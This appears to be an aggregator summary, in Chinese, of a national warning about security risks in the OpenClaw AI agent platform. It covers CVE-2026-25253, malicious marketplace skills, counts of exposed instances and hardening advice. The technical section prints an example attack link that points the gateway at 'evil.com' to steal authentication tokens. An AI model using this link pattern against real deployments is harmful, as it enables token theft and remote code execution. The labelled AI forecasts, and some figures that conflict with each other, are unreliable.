🔥36氪•2026年3月10日較早收集於 8m

國家互聯網應急中心警示OpenClaw安全風險

Post LinkedIn

🔥閱讀原文： 36氪

#security-risks#ai-deployment#vulnerability-alertopenclawopenclaw

💡OpenClaw緊急風險曝光—在AI應用遭攻擊前強化部署安全。（42字元）

⚡ 30-Second TL;DR

有什麼變化

OpenClaw不當安裝使用導致嚴重安全風險。

為什麼重要

凸顯AI代理部署漏洞，可能導致攻擊利用；從業人員須強化配置以維持信任並避免生產環境洩露。

下一步行動

立即審核OpenClaw實例：用防火牆隔離端口並容器化以限制權限。

誰應關注：Developers & AI Engineers

關鍵要點

•OpenClaw不當安裝使用導致嚴重安全風險。
•隔離管理端口，使用認證與容器限制權限。
•避免環境變數明文儲存金鑰，建立操作日誌審計。
•嚴格管理插件來源，禁用自動更新僅用可信簽名擴展。
•持續關注並及時安裝安全補丁與版本更新。

🧠 深度解析

背景與延伸：來自公開資料，非原文內容。引用 8 個來源。

🔑 增強重點摘要

•CVE-2026-25253漏洞（CVSS 8.8）允許未經授權攻擊者透過惡意網頁竊取認證令牌，實現遠端程式碼執行，已於2026.1.29版本修補。[1][2][3]
•ClawHub技能市場發現超過800個惡意技能（佔20%），包括Atomic macOS Stealer（AMOS），用於竊取API金鑰、SSH憑證及瀏覽器密碼。[3][5]
•Censys及Bitsight觀測顯示，2026年1月25日至31日期間公開暴露的OpenClaw實例從1,000激增至逾30,000個，其中93.4%存在認證繞過問題。[3]

🛠️ 技術深入

•CVE-2026-25253屬CWE-669類型，攻擊流程：誘騙受害者點擊惡意連結（如http:///chat?gatewayUrl=ws://evil.com），applySettingsFromUrl()儲存攻擊者控制的gatewayUrl，WebSocket連線時自動發送認證令牌、裝置ID及公鑰予攻擊者，後續重播令牌實現RCE。[2]
•閘道預設禁用認證，無Origin標頭驗證，允許跨站WebSocket劫持，即使localhost綁定實例亦可從惡意網頁攻擊本地網路。[3]
•憑證以明文儲存於設定檔，受RedLine、Lumma及Vidar等資訊竊取器針對，同時ClawHub重複遭入侵。[1]

🔮 前景展望AI analysis grounded in cited sources

OpenClaw暴露實例將持續增長超過10萬個

由於採用速度快於修補能力，Censys記錄1月內從1,000增至21,000，Bitsight觀測逾30,000，預期未修補實例將大幅增加。[3]

惡意技能比例將升至ClawHub的25%以上

ClawHavoc活動已使惡意技能從341增至800（20%），技能市場易受入侵且用於分發進階威脅。[3][5]

⏳ 時間線

2026-01

CVE-2026-25253披露，depthfirst研究團隊發現RCE漏洞

2026-01-30

OpenClaw發布v2026.1.29修補CVE-2026-25253及兩項命令注入漏洞

2026-01

公開暴露實例從1,000激增至逾21,000個

2026-02

ClawHub發現超過400個惡意技能

2026-03

國家互聯網應急中心發布OpenClaw安全風險警示

📎 來源 (8)

Factual claims are grounded in the sources below. Forward-looking analysis is AI-generated interpretation.

📰 事件追蹤

SCMP Technology • 3/10/2026

中國第二度警告OpenClaw風險，採用狂熱中

›

🔥閱讀原文： 36氪

📰

AI 週報

閱讀本週精選 AI 大事摘要 →

👉相關動態

同主題

探索 #security-risks

同產品

更多關於 openclaw

同來源